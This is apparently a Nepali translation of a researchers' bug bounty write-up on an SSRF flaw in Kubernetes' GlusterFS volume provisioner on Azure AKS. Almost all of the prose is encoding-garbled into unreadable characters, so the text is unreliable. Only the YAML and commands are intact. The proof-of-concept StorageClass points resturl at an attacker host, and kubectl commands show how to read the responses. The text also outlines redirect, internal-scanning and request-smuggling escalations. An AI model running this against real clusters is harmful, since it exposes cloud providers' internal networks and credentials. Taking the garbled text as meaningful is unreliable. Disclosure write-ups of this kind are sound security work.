рдиреЛрдЯред рдЕрдиреБрд╡рд╛рджред: рдпрд╕ рд▓реЗрдЦрдХрд╛ рд▓реЗрдЦрдХрд╣рд░реВрд▓реЗ рдЙрдиреАрд╣рд░реВрд▓реЗ рдХрдордЬреЛрд░реА рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрди рдХрд╕рд░реА рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реЗ рднрдиреНрдиреЗ рдмрд╛рд░реЗ рд╡рд┐рд╕реНрддреГрдд рд░реВрдкрдорд╛ рдХреБрд░рд╛ рдЧрд░реНрдЫрдиреН
рд╣рд╛рдореА рдХреЛ рд╣реМрдВ
рд╣рд╛рдореА рджреБрдИ рдлреНрд░рд╛рдиреНрд╕реЗрд▓реА рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХрд░реНрддрд╛ рд╣реМрдВ рдЬрд╕рд▓реЗ рд╕рдВрдпреБрдХреНрдд рд░реВрдкрдорд╛ Kubernetes рдорд╛ рдПрдХ рдЬреЛрдЦрд┐рдо рдкрддреНрддрд╛ рд▓рдЧрд╛рдПред рд╣рд╛рдореНрд░рд╛ рдирд╛рдорд╣рд░реВ рдмреНрд░рд┐рд╕ рдЕрдЧреНрд░рд╛рд╕ рд░ рдХреНрд░рд┐рд╕реНрдЯреЛрдл рд╣рд╛рдЙрдХреНрд╡рд┐рдПрд░реНрдЯ рд╣реБрдиреН, рддрд░ рдзреЗрд░реИ рдмрдЧ рдмрд╛рдЙрдиреНрдЯреА рдкреНрд▓реЗрдЯрдлрд░реНрдорд╣рд░реВрдорд╛ рд╣рд╛рдореА рдХреНрд░рдорд╢рдГ рд░рд┐рднрд░рдЬрд╛рдХреНрд╕ рд░ рд╣реНрдпрд╛рдЪ рднрдиреЗрд░ рдЪрд┐рдирд┐рдиреНрдЫреМрдВ:
-
рдмреНрд░рд┐рд╕ рдЕрдЧреНрд░рд╛рд╕ -рдЧреНрд░реБрдк рдПрд╕реНрдЯреЗрди рдХрдореНрдкрдиреА ; -
рдХреНрд░рд┐рд╕реНрдЯреЛрдл рд╣рд╛рдЙрдХреНрд╡рд┐рдПрд░реНрдЯ - рдиреЛрдХрд┐рдпрд╛ рдорд╛ Kubernetes рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЯред
рдХреЗ рднрдпреЛ?
рдпреЛ рд▓реЗрдЦ рд╕рд╛рдЭрд╛ рдЧрд░реНрдиреЗ рд╣рд╛рдореНрд░реЛ рддрд░рд┐рдХрд╛ рд╣реЛ рдХрд┐ рдХрд╕рд░реА рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдиреБрд╕рдиреНрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд░реВрдкрдорд╛ рдмрдЧ рд╢рд┐рдХрд╛рд░реАрд╣рд░реВрдХреЛ рдЬреАрд╡рдирдорд╛ рд╕рдмреИрднрдиреНрджрд╛ рд░реЛрдорд╛рдЮреНрдЪрдХ рд╕рд╛рд╣рд╕рд┐рдХ рдХрд╛рд░реНрдпрдорд╛ рдкрд░рд┐рдгрдд рднрдпреЛ (рдХрдореНрддреАрдорд╛ рдЕрд╣рд┐рд▓реЗрдХреЛ рд▓рд╛рдЧрд┐)ред
рддрдкрд╛рдИрд▓рд╛рдИ рдерд╛рд╣рд╛ рдЫ, рдмрдЧ рд╢рд┐рдХрд╛рд░реАрд╣рд░реВрд╕рдБрдЧ рдХреЗрд╣рд┐ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ рдЫрдиреН:
- рддрд┐рдиреАрд╣рд░реВ рдкрд┐рдЬреНрдЬрд╛ рд░ рдмрд┐рдпрд░рдорд╛ рдмрд╛рдБрдЪреНрдЫрдиреН;
- рдЕрд░реВ рд╕рдмреИ рд╕реБрддрд┐рд░рд╣реЗрдХреЛ рдмреЗрд▓рд╛ рддрд┐рдиреАрд╣рд░реВ рдХрд╛рдо рдЧрд░реНрдЫрдиреНред
рд╣рд╛рдореА рдпреА рдирд┐рдпрдорд╣рд░реВрдорд╛ рдХреБрдиреИ рдЕрдкрд╡рд╛рдж рдЫреИрдиреМрдВ: рд╣рд╛рдореА рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рд╕рдкреНрддрд╛рд╣рдиреНрддрдорд╛ рднреЗрдЯреНрдЫреМрдВ рд░ рдирд┐рджреНрд░рд╛ рдирд▓рд╛рдЧреЗрдХреЛ рд░рд╛рдд рд╣реНрдпрд╛рдХрд┐рдЩрдорд╛ рдмрд┐рддрд╛рдЙрдБрдЫреМрдВред рддрд░ рдпреА рд░рд╛рддрд╣рд░реВ рдордзреНрдпреЗ рдПрдХ рдзреЗрд░реИ рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░рд┐рдХрд╛рдорд╛ рд╕рдорд╛рдкреНрдд рднрдпреЛред
рд╕реБрд░реБрдорд╛ рд╣рд╛рдореА рд╕рд╣рднрд╛рдЧрд┐рддрд╛рдмрд╛рд░реЗ рдЫрд▓рдлрд▓ рдЧрд░реНрди рднреЗрдЯреНрдиреЗ рдерд┐рдпреМрдВ
11 рдмрдЬреЗ рд╣рд╛рдореА рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░реНрди рдмрд╕реНрдпреМрдВ рд░ рдирддрд┐рдЬрд╛рдмрд╛рдЯ рдзреЗрд░реИ рд╕рдиреНрддреБрд╖реНрдЯ рднрдПрд░ рдмрд┐рд╣рд╛рди рд╕рдмреЗрд░реИ рд╕реБрддреНрди рдЧрдпреМрдВред рдпреЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╣рд╛рдореАрд▓реЗ MSRC рдмрдЧ рдмрд╛рдЙрдиреНрдЯреА рдХрд╛рд░реНрдпрдХреНрд░рдо рднреЗрдЯреНрдЯрд╛рдпреМрдВ рд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рдЖрдПрдХрд╛ рдЫреМрдВред
рдзреЗрд░реИ рд╣рдкреНрддрд╛/рдорд╣рд┐рдирд╛ рдмрд┐рддреНрдпреЛ, рд░ рд╣рд╛рдореНрд░реЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдирддрд┐рдЬрд╛рд▓реЗ Azure Cloud рдмрдЧ рдмрд╛рдЙрдиреНрдЯреАрдХреЛ рдЗрддрд┐рд╣рд╛рд╕рдорд╛ рд╕рдмреИрднрдиреНрджрд╛ рдЙрдЪреНрдЪ рдкреБрд░рд╕реНрдХрд╛рд░рд╣рд░реВ рдордзреНрдпреЗ рдПрдЙрдЯрд╛рдорд╛ рдкрд░рд┐рдгрдд рдЧрд░реНтАНрдпреЛ - рд╣рд╛рдореАрд▓реЗ Kubernetes рдмрд╛рдЯ рдкреНрд░рд╛рдкреНрдд рдЧрд░реЗрдХреЛ рдПрдХ рдмрд╛рд╣реЗрдХ!
рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛рдорд╛ тАЛтАЛрдЖрдзрд╛рд░рд┐рдд, Kubernetes рдЙрддреНрдкрд╛рджрди рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐ рдкреНрд░рдХрд╛рд╢рд┐рдд
рдЕрдм рдо рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рд╕рдХреЗрд╕рдореНрдо рдлреИрд▓рд╛рдЙрди рдЪрд╛рд╣рдиреНрдЫреБред рд╣рд╛рдореА рдЖрд╢рд╛ рдЧрд░реНрджрдЫреМрдВ рдХрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдлреЗрд▓рд╛ рдкрд╛рд░реНрдиреБ рднрдПрдХреЛрдорд╛ рдкреНрд░рд╢рдВрд╕рд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рдЗрдиреНрдлреЛрд╕реЗрдХ рд╕рдореБрджрд╛рдпрдХрд╛ рдЕрдиреНрдп рд╕рджрд╕реНрдпрд╣рд░реВрд╕рдБрдЧ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рд╕рд╛рдЭрд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН!
рддреНрдпрд╕реИрд▓реЗ рдпрд╣рд╛рдБ рд╣рд╛рдореНрд░реЛ рдХрдерд╛ рдЫ ...
рдкреНрд░рд╕реНрдЧ
рдХреЗ рднрдпреЛ рднрдиреНрдиреЗ рдХреБрд░рд╛ рдмреБрдЭреНрдирдХреЛ рд▓рд╛рдЧрд┐, рдкрд╣рд┐рд▓реЗ Kubernetes рдХрд╕рд░реА рдХреНрд▓рд╛рдЙрдб рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдХрд╛рдо рдЧрд░реНрдЫ рднрдиреЗрд░ рд╣реЗрд░реМрдВред
рдЬрдм рддрдкрд╛рдЗрдБ рдпрд╕реНрддреЛ рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ Kubernetes рдХреНрд▓рд╕реНрдЯрд░ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреБрд╣реБрдиреНрдЫ, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рддрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЬрд┐рдореНрдореЗрд╡рд╛рд░реА рд╣реЛ:
рдирд┐рдпрдиреНрддреНрд░рдг рддрд╣ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдкрд░рд┐рдзрд┐рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫ, рдЬрдмрдХрд┐ Kubernetes рдиреЛрдбрд╣рд░реВ рдЧреНрд░рд╛рд╣рдХрдХреЛ рдкрд░рд┐рдзрд┐рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫрдиреНред
рдЧрддрд┐рд╢реАрд▓ рд░реВрдкрдорд╛ рднреЛрд▓реНрдпреБрдорд╣рд░реВ рдЖрд╡рдВрдЯрд┐рдд рдЧрд░реНрди, рдмрд╛рд╣реНрдп рднрдгреНрдбрд╛рд░рдг рдмреНрдпрд╛рдХрдЗрдиреНрдбрдмрд╛рдЯ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рдЧрддрд┐рд╢реАрд▓ рд░реВрдкрдорд╛ рдкреНрд░рд╛рд╡рдзрд╛рди рдЧрд░реНрди рд░ PVC (рдирд┐рд░рдиреНрддрд░ рднреЛрд▓реНрдпреБрдо рджрд╛рдмреА, рдЕрд░реНрдерд╛рддреН рднреЛрд▓реНрдпреБрдордХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрд░реЛрдз) рд╕рдБрдЧ рддреБрд▓рдирд╛ рдЧрд░реНрди рдПрдХ рд╕рдВрдпрдиреНрддреНрд░ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред
рдпрд╕рд░реА, PVC рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рд╕рдХреЗрдкрдЫрд┐ рд░ K8s рдХреНрд▓рд╕реНрдЯрд░рдорд╛ StorageClass рдорд╛ рдмрд╛рдБрдзрд┐рдПрдкрдЫрд┐, рднреЛрд▓реНрдпреБрдо рдкреНрд░рджрд╛рди рдЧрд░реНрди рдердк рдХрд╛рд░реНрдпрд╣рд░реВ kube/рдХреНрд▓рд╛рдЙрдб рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХрджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЗрдиреНрдЫ (рдпрд╕рдХреЛ рд╕рд╣реА рдирд╛рдо рд░рд┐рд▓реАрдЬрдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджрдЫ)ред (рдиреЛрдЯред рдЕрдиреБрд╡рд╛рджред: рд╣рд╛рдореАрд▓реЗ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВ рдордзреНрдпреЗ рдПрдХрдХреЛ рд▓рд╛рдЧрд┐ рдпрд╕рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдЙрджрд╛рд╣рд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ CCM рдмрд╛рд░реЗ рдердк рд▓реЗрдЦреЗрдХрд╛ рдЫреМрдВ
рддреНрдпрд╣рд╛рдБ Kubernetes рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдзреЗрд░реИ рдкреНрд░рдХрд╛рд░рдХрд╛ рдкреНрд░рд╛рд╡рдзрд╛рдирд╣рд░реВ рдЫрдиреН: рддреА рдордзреНрдпреЗ рдзреЗрд░реИ рд╕рдорд╛рд╡реЗрд╢ рдЫрдиреН
рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛, рд╣рд╛рдореАрд▓реЗ рдЖрдиреНрддрд░рд┐рдХ рднреЛрд▓реНрдпреБрдо рдкреНрд░рд╛рд╡рдзрд╛рди рд╕рдВрдпрдиреНрддреНрд░рдорд╛ рдзреНрдпрд╛рди рдХреЗрдиреНрджреНрд░рд┐рдд рдЧрд░реНрдпреМрдВ, рдЬреБрди рддрд▓ рдЪрд┐рддреНрд░рдг рдЧрд░рд┐рдПрдХреЛ рдЫ:
рдмрд┐рд▓реНрдЯ-рдЗрди Kubernetes рдкреНрд░реЛрднрд┐рдЬрдирд░ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рднреЛрд▓реНрдпреБрдорд╣рд░реВрдХреЛ рдЧрддрд┐рд╢реАрд▓ рдкреНрд░рд╛рд╡рдзрд╛рди
рдЫреЛрдЯрдХрд░реАрдорд╛, рдЬрдм Kubernetes рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рддреИрдирд╛рдд рд╣реБрдиреНрдЫ, рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЬрд┐рдореНрдореЗрд╡рд╛рд░реА рд╣реЛ, рддрд░ рднреЛрд▓реНрдпреБрдо рд╕рд┐рд░реНрдЬрдирд╛ рдЕрдиреБрд░реЛрдз (рдорд╛рдерд┐рдХреЛ рд░реЗрдЦрд╛рдЪрд┐рддреНрд░рдорд╛ рдирдореНрдмрд░ 3) рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдЫреЛрдбреНрдЫред рд░ рдпреЛ рдЬрд╣рд╛рдБ рдЪреАрдЬрд╣рд░реВ рд╕рд╛рдБрдЪреНрдЪреИ рд░реЛрдЪрдХ рд╣реБрдиреНрдЫрдиреН!
рд╣реНрдпрд╛рдХрд┐рдЩ рдкрд░рд┐рджреГрд╢реНрдп
рдпрд╕ рдЦрдгреНрдбрдорд╛, рд╣рд╛рдореАрд▓реЗ рдорд╛рдерд┐ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣рдХреЛ рдлрд╛рдЗрджрд╛ рдХрд╕рд░реА рд▓рд┐рдпреМрдВ рд░ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрддрд╣рд░реВ рдкрд╣реБрдБрдЪ рдЧрд░реНрдпреМрдВ рднрдиреЗрд░ рд╡рд░реНрдгрди рдЧрд░реНрдиреЗрдЫреМрдВред рдпрд╕рд▓реЗ рддрдкрд╛рдЗрдБрд▓рд╛рдИ рдХрд╕рд░реА рдХреЗрд╣рд┐ рдХрд╛рд░реНрдпрд╣рд░реВ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рднрдиреЗрд░ рджреЗрдЦрд╛рдЙрдиреЗрдЫ, рдЬрд╕реНрддреИ рдЖрдиреНрддрд░рд┐рдХ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рд╡рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд╣рд░реВ рдмрдврд╛рдЙрдиреЗред
рдПрдЙрдЯрд╛ рд╕рд╛рдзрд╛рд░рдг рд╣реЗрд░рдлреЗрд░ (рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рд╕реЗрд╡рд╛ рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА) рд▓реЗ рдХреНрд▓рд╛рдЗрдиреНрдЯ рд╡рд╛рддрд╛рд╡рд░рдг рднрдиреНрджрд╛ рдмрд╛рд╣рд┐рд░ рд╡реНрдпрд╡рд╕реНрдерд┐рдд K8s рдЕрдиреНрддрд░реНрдЧрдд рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдЬрд╛рди рдорджреНрджрдд рдЧрд░реНрдпреЛред
рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛ рд╣рд╛рдореАрд▓реЗ GlusterFS рдкреНрд░рджрд╛рдпрдХрдорд╛ рдзреНрдпрд╛рди рдХреЗрдиреНрджреНрд░рд┐рдд рдЧрд░реНрдпреМрдВред рдпрд╕ рд╕рдиреНрджрд░реНрднрдорд╛ рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рдердк рдЕрдиреБрдХреНрд░рдо рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рддрдереНрдпрдХреЛ рдмрд╛рд╡рдЬреБрдж, Quobyte, StorageOS рд░ ScaleIO рдЙрд╣реА рдЬреЛрдЦрд┐рдордХреЛ рд▓рд╛рдЧрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЫрдиреНред
рдЧрддрд┐рд╢реАрд▓ рднреЛрд▓реНрдпреБрдо рдкреНрд░рд╛рд╡рдзрд╛рди рд╕рдВрдпрдиреНрддреНрд░рдХреЛ рджреБрд░реБрдкрдпреЛрдЧ
рднрдгреНрдбрд╛рд░рдг рдХрдХреНрд╖рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдгрдХреЛ рдХреНрд░рдордорд╛ GlusterFS Golang рдЧреНрд░рд╛рд╣рдХ рд╕реНрд░реЛрдд рдХреЛрдб рдорд╛ рд╣рд╛рдореА resturl
рдердкрд┐рдпреЛ /volumes
.
рд╣рд╛рдореАрд▓реЗ рдердкреЗрд░ рдпреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдорд╛рд░реНрдЧрдмрд╛рдЯ тАЛтАЛрдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдЙрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВ #
рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рдорд╛ resturl
ред рдпрд╣рд╛рдБ рдкрд╣рд┐рд▓реЛ YAML рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд╣реЛ рдЬреБрди рд╣рд╛рдореАрд▓реЗ рдЕрд░реНрдз-рдЕрдиреНрдзрд╛ SSRF рдЬреЛрдЦрд┐рдордХреЛ рд▓рд╛рдЧрд┐ рдкрд░реАрдХреНрд╖рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВред (рддрдкрд╛рдИрдВ рдЕрд░реНрдз-рдЕрдиреНрдзрд╛ рд╡рд╛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рдмрд╛рд░реЗ рдердк рдкрдвреНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
рддреНрдпрд╕рдкрдЫрд┐ рд╣рд╛рдореАрд▓реЗ рдХреБрдмреЗрд░рдиреЗрдЯ рдХреНрд▓рд╕реНрдЯрд░рд▓рд╛рдИ рдЯрд╛рдврд╛рдмрд╛рдЯ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рдЧрд░реНрди рдмрд╛рдЗрдирд░реА рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВ kubectlред рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛, рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВ (Azure, Google, AWS, рдЖрджрд┐) рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдпреЛ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдорд╛ рдкреНрд░рдпреЛрдЧрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред
рдпрд╕рдХрд╛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж, рдо рдореЗрд░реЛ "рд╡рд┐рд╢реЗрд╖" рдлрд╛рдЗрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдПрдБред рдХреБрдмреЗ-рдирд┐рдпрдиреНрддреНрд░рдХ-рдкреНрд░рдмрдиреНрдзрдХрд▓реЗ рдирддрд┐рдЬрд╛ HTTP рдЕрдиреБрд░реЛрдз рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдпреЛ:
kubectl create -f sc-poc.yaml
рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдмрд╛рдЯ рдЬрд╡рд╛рдл
рдпрд╕рдХреЛ рдХреЗрд╣реА рд╕рдордп рдкрдЫрд┐, рд╣рд╛рдореАрд▓реЗ рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдорд╛рд░реНрдлрдд HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдпреМрдВ describe pvc
рд╡рд╛ get events
kubectl рдорд╛ред рд░ рд╕рд╛рдБрдЪреНрдЪреИ: рдпреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд Kubernetes рдбреНрд░рд╛рдЗрднрд░ рдпрд╕рдХреЛ рдЪреЗрддрд╛рд╡рдиреА/рддреНрд░реБрдЯрд┐ рд╕рдиреНрджреЗрд╢рд╣рд░реВрдорд╛ рдзреЗрд░реИ рд╡рд░реНрдмреЛрд╕ рдЫ...
рдпрд╣рд╛рдБ рд▓рд┐рдЩреНрдХ рд╕рдВрдЧ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЫ https://www.google.fr
рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рд╕реЗрдЯ рдЧрд░реНрдиреБрд╣реЛрд╕реН resturl
:
kubectl describe pvc poc-ssrf
# ╨╕╨╗╨╕ ╨╢╨╡ ╨╝╨╛╨╢╨╡╤В╨╡ ╨▓╨╛╤Б╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╤М╤Б╤П kubectl get events
рдпрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдорд╛, рд╣рд╛рдореА рдЬрд╕реНрддрд╛ рдкреНрд░рд╢реНрдирд╣рд░реВрдорд╛ рд╕реАрдорд┐рдд рдерд┐рдпреМрдВ HTTP POST рд░ рдпрджрд┐ рд░рд┐рдЯрд░реНрди рдХреЛрдб рдерд┐рдпреЛ рднрдиреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдпрдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреЗрди 201ред рддрд╕рд░реНрде, рд╣рд╛рдореАрд▓реЗ рдердк рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВ рд░ рдпрд╕ рд╣реНрдпрд╛рдХрд┐рдЩ рдкрд░рд┐рджреГрд╢реНрдпрд▓рд╛рдИ рдирдпрд╛рдБ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдХрд╛ рд╕рд╛рде рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реНрдпреМрдВред
рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдХреЛ рд╡рд┐рдХрд╛рд╕
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: рдЖрдиреНрддрд░рд┐рдХ рдбрд╛рдЯрд╛ рд╕рдЩреНрдХрд▓рди рдЧрд░реНрди рдердк рд▓рдЪрд┐рд▓реЛ рддрд░рд┐рдХрд╛ рдкреНрд░рджрд╛рди рдЧрд░реНрди HTTP рд╡рд┐рдзрд┐ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рдмрд╛рд╣реНрдп рд╕рд░реНрднрд░рдмрд╛рдЯ 302 рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИред
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд▓реНрдпрд╛рди рд╕реНрдХреНрдпрд╛рдирд┐рдЩ рд░ рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрдд рдЦреЛрдЬред
- рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рдЕрдиреБрдХреВрд▓ HTTP рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди рд░ kube-рдирд┐рдпрдиреНрддреНрд░рдХ рд▓рдЧрд╣рд░реВрдмрд╛рдЯ рдирд┐рдХрд╛рд▓рд┐рдПрдХреЛ рдбреЗрдЯрд╛ рдкреБрди: рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди HTTP CRLF + рддрд╕реНрдХрд░реА ("рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА") рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИред
рдЯреЗрдХреНрдиреЛрд▓реЛрдЬреА рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рди
- рдЕрдиреБрд╕рдиреНрдзрд╛рдирд▓реЗ рдЙрддреНрддрд░реА рдпреБрд░реЛрдк рдХреНрд╖реЗрддреНрд░рдорд╛ Kubernetes рд╕рдВрд╕реНрдХрд░рдг 1.12 рд╕рдБрдЧ Azure Kubernetes Service (AKS) рдХреЛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНтАНрдпреЛред
- рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХрд╛ рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рддреЗрд╕реНрд░реЛ рдкрд░рд┐рджреГрд╢реНрдпрдХреЛ рдЕрдкрд╡рд╛рдж рдмрд╛рд╣реЗрдХ, рдХреБрдмрд░реНрдиреЗрдЯреНрд╕рдХреЛ рдкрдЫрд┐рд▓реНрд▓реЛ рд░рд┐рд▓реАрдЬрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ, рдХрд┐рдирднрдиреЗ рдЙрд╕рд▓рд╛рдИ Golang рд╕рдВрд╕реНрдХрд░рдг тЙд 1.12 рд╕рдВрдЧ рдирд┐рд░реНрдорд┐рдд Kubernetes рдЖрд╡рд╢реНрдпрдХ рдерд┐рдпреЛред
- рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рдмрд╛рд╣реНрдп рд╕рд░реНрднрд░ -
https://attacker.com
.
